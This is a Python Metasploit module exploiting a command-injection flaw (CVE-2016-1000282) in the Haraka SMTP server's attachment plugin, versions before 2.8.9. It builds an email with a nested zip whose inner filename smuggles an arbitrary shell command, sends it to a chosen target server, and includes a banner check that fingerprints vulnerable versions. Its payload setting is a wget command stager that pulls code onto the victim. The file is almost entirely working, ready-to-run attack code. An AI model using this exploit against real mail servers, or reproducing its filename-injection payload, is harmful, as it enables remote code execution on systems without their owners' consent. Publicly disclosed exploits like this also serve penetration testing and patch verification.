#!/usr/bin/env python3

# Vendor Homepage: https://haraka.github.io/
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version:  <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# Thanks to: Dexlab.nl for asking me to look at Haraka.

import smtplib
import re
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import zipfile

try:
    # Python 2 plain strings are bytes
    from StringIO import StringIO as BytesIO
except ImportError:
    from io import BytesIO
from metasploit import module
from metasploit.version import StrictVersion

metadata = {
    "name": "Haraka SMTP Command Injection",
    "description": """
        The Haraka SMTP server comes with a plugin for processing attachments.
        Versions before 2.8.9 can be vulnerable to command injection
    """,
    "authors": [
        "xychix <xychix[AT]hotmail.com>",
        "smfreegard",
        "Adam Cammack <adam_cammack[AT]rapid7.com>",
    ],
    "date": "2017-01-26",
    "references": [
        {"type": "cve", "ref": "2016-1000282"},
        {"type": "edb", "ref": "41162"},
        {"type": "url", "ref": "https://github.com/haraka/Haraka/pull/1606"},
    ],
    "type": "remote_exploit_cmd_stager",
    "rank": "excellent",
    "wfsdelay": 5,
    "privileged": True,
    "targets": [
        {"platform": "linux", "arch": "x64"},
        {"platform": "linux", "arch": "x86"},
    ],
    "payload": {"command_stager_flavor": "wget"},
    "options": {
        "email_to": {
            "type": "string",
            "description": "Email to send to, must be accepted by the server",
            "required": True,
            "default": "admin@localhost",
        },
        "email_from": {
            "type": "string",
            "description": "Address to send from",
            "required": True,
            "default": "foo@example.com",
        },
        "rhost": {
            "type": "address",
            "description": "Target server",
            "required": True,
            "default": None,
        },
        "rport": {
            "type": "port",
            "description": "Target server port",
            "required": True,
            "default": 25,
        },
        "command": {
            "type": "string",
            "description": "Command to run on the target",
            "required": True,
            "default": "/bin/echo hello",
        },
    },
    "notes": {"AKA": ["Harakiri"]},
}


def send_mail(to, mailserver, cmd, mfrom, port):
    msg = MIMEMultipart()
    html = "harakiri"
    msg["Subject"] = "harakiri"
    msg["From"] = mfrom
    msg["To"] = to
    msg.attach(MIMEText(html))
    module.log(
        "Send harariki to %s, commandline: %s , mailserver %s is used for delivery"
        % (to, cmd, mailserver),
        "debug",
    )
    part = MIMEApplication(create_zip(cmd), Name="harakiri.zip")
    part["Content-Disposition"] = 'attachment; filename="harakiri.zip"'
    msg.attach(part)
    module.log("Sending mail to target server...")
    module.log(msg.as_string(), "debug")
    s = smtplib.SMTP(mailserver, port)
    try:
        resp = s.sendmail(mfrom, to, msg.as_string())
    except smtplib.SMTPDataError as err:
        if err[0] == 450:
            module.log("Triggered bug in target server (%s)" % err[1], "good")
            s.close()
            return True
    module.log("Bug not triggered in target server", "error")
    module.log(
        "it may not be vulnerable or have the attachment plugin activated", "error"
    )
    s.close()
    return False


class InMemoryZip(object):
    def __init__(self):
        self.in_memory_zip = BytesIO()

    def append(self, filename_in_zip, file_contents):
        zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
        zf.writestr(filename_in_zip, file_contents)
        for zfile in zf.filelist:
            zfile.create_system = 0
        return self

    def read(self):
        self.in_memory_zip.seek(0)
        return self.in_memory_zip.read()


def create_zip(cmd="touch /tmp/harakiri"):
    z1 = InMemoryZip()
    z2 = InMemoryZip()
    z2.append(
        "harakiri.txt",
        "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.",
    )
    z1.append('a";%s;echo "a.zip' % cmd, z2.read())
    return z1.read()


def check_banner(args):
    module.log(
        "{}:{} Starting banner check for Haraka < 2.8.9".format(
            args["rhost"], args["rport"]
        ),
        level="debug",
    )
    c = smtplib.SMTP()
    try:
        (code, banner) = c.connect(args["rhost"], int(args["rport"]))
    except:
        return "unknown"

    c.quit()

    if code == 220 and "Haraka" in banner:
        versions = re.findall(r"(\d+\.\d+\.\d+)", banner)
        if versions:
            if StrictVersion(versions[0]) < StrictVersion("2.8.9"):
                return "appears"
            else:
                return "safe"
        else:
            return "detected"
    elif code == 220:
        return "detected"
    else:
        return "unknown"


def exploit(args):
    send_mail(
        args["email_to"],
        args["rhost"],
        args["command"],
        args["email_from"],
        int(args["rport"]),
    )


if __name__ == "__main__":
    module.run(metadata, exploit, soft_check=check_banner)
